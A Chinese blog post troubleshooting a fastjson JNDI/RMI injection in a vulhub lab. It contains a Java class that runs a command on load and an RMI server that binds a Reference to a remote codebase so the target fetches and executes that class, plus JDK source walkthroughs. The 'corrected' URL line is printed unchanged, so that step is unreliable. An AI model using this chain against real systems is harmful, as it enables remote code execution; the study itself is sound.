目录
前言
恶意类代码：
RMI注册中心以及服务端代码：
问题一：
问题二
调试
问题三
总结
前言
之前分析了fastjson的jdbcRowSetImpl利用链之后当时也是手写了所用的代码并测试，这里面包括rmi注册中心及服务端还有POC代码，在本地测试成功后我在虚拟机中用vulhub启动了一个fastjson漏洞环境进行测试，但是出了问题，记录一下排查问题的过程。
恶意类代码：public class rmiEvilClass {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch","/txt"});//在根目录创建一个txt文件夹
}catch (Exception e){
e.printStackTrace();
}
}
}
RMI注册中心以及服务端代码：
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class rmiServer {
public static void main(String[] args)throws Exception {
String evilClassurl="http://192.168.1.254:8081";
Registry registry= LocateRegistry.createRegistry(1099);
Reference reference=new Reference("rmiEvilClass","rmiEvilClaaa",evilClassurl);
ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
registry.bind("hell",referenceWrapper);
}
}
乍一看没什么问题。。。
问题一：首先是命令没有执行，当时猜测了很多原因网络不通，端口占用，防火墙，但是一一检测都没有问题，后来没办法只好抓包了，打开抓包有很多arp在找192.168.1.1的地址，这个就不管了 not arp过滤掉，然后开始我们的请求，这里没有截图，在wireshark上只看到了我们向fastjson服务所在端口的发送payload的http报文，以及tcp建立和断开连接的报文，并没有rmi报文。
我的rmi服务端都没什么问题为啥没报文，这里在网上也找了一会，但是相关内容不多，很多复现都是直接利用工具创建的rmi服务。
后来我在反过头看JNDI原理解析的时候，突然想起来，我为了方便把恶意的.class文件和.java文件都放在了运行RMI服务端代码的包下面了，http服务也是在这个文件下面启动的，那这样这个文件不就在CLASSPATH里面了吗，就不会远程调用类了。
在本地测试之后果然是这个问题，我只要修改.java文件就能改变执行的命令，通过python启动的http服务也没有请求记录，我把两个文件放到了其他文件中去时我就可以看到请求记录了。
本地测试截图：
但是第二个问题来了：没有请求路径，这说明没有去加载远程恶意类
问题二没有请求恶意类，又去检查了代码还是感觉没啥问题，为啥不请求恶意类呢？在这里卡了半天在想原因，最后没办法只好调试一遍代码了，之前学jndi注入时也分析过原理了但是没记录下来，这里就当做复习吧。
调试initialContext.lookup()
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
getURLOrdefaultInitCtx()
获取用来解析字符串名称 name 的上下文。如果 name 名称是一个 url 字符串，则试着定位一个用于该字符串的 url 上下文。如果没有找到这样的上下文，或者 name 不是一个 url 字符串，则返回 getdefaultinitctx()。
getURLOrdefaultInitCtx().lookup()
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//var1:rmi://127.0.0.1/evil
Context var3 = (Context)var2.getResolvedObj();
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}
return var4;
}
这里会通过this.getRootURLContext（var1,this,myEnv）获取到rmi注册中心和远程调用的name
然后var3.lookup()就是通过获取到的注册中心来获取远程调用对象
RegistryContext.lookup()
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));//这时通过注册中心的lookup就可以获取到我们绑定在注册中心的类了
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
接着调用RegistryContext.decodeObject去解析这个类
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
//远程类实现了RemoteReference接口直接return
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
NamingManager.getObjectInstance()部分代码
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
这里获取了reference实例中的的工厂类名，就是rmiEvilClass，之后获取工厂类，这里还没有请求恶意类。
NamingManager.getObjectFactoryFromReference()
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
首先会在本地的CLASSPATH中找之后再 到去远程的地址中去找这里helper是VersionHelper12类
这里lookup是两个重载方法一个在本地查找一个查找远程
public Class loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader());
}
//本地
public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
//远程
Class loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class cls = Class.forName(className, true, cl);
return cls;
}
//最终都会调用这个类传入ClassLoader,远程
最后远程加载类
到目前位置都没有什么问题，也使用FactoryURLClassLoader去加载远程工厂类了但是为什么还是没有路径呢？
想了一会，我想cl作为加载类应该会存着远程加载路径，我决定去看一下FactoryURLClassLoader内的数据，这里又去百度看了一下这个FactoryURLClassLoader类里属性及方法的介绍，知道了ucp属性存贮着类和资源的搜索路径。
可以看到这里的路径,我觉得也没什么对啊，反复了调试几次又陷入了沉思。
后来也是灵光一闪，一般调试这些类我都会猜测一些功能是怎么实现的，我在想这个路径应该会拼接上rmiEvilClass.class然后发起请求，这里是不是缺一个”/“?是不是我之前写rmi服务端的代码没有写反斜杠？
一翻看代码果然没有，再去看网上的POC果然别人都有反斜杠，先试一试吧，修改了rmi服务端的代码重启rmi服务端，然后本地测试。
String evilClassurl="http://192.168.1.254:8081";
成功了！！！！！！！！！！！！！！
虽然这只是因为一个反斜杠没写导致的问题，但当找出问题的根源时感觉真的爽。
问题三但是测试过程中本地的测试代码报错了。
这个简单就是编译和运行的Java版本不一致,我编译用的本机java8，IEDA的是java7
重新编译并测试：
总结这次一晚上加一上午的问题排查最终的结果是因为一个反斜杠，收获还是有不少的
欢迎分享，转载请注明来源：内存溢出
微信扫一扫
支付宝扫一扫
评论列表（0条）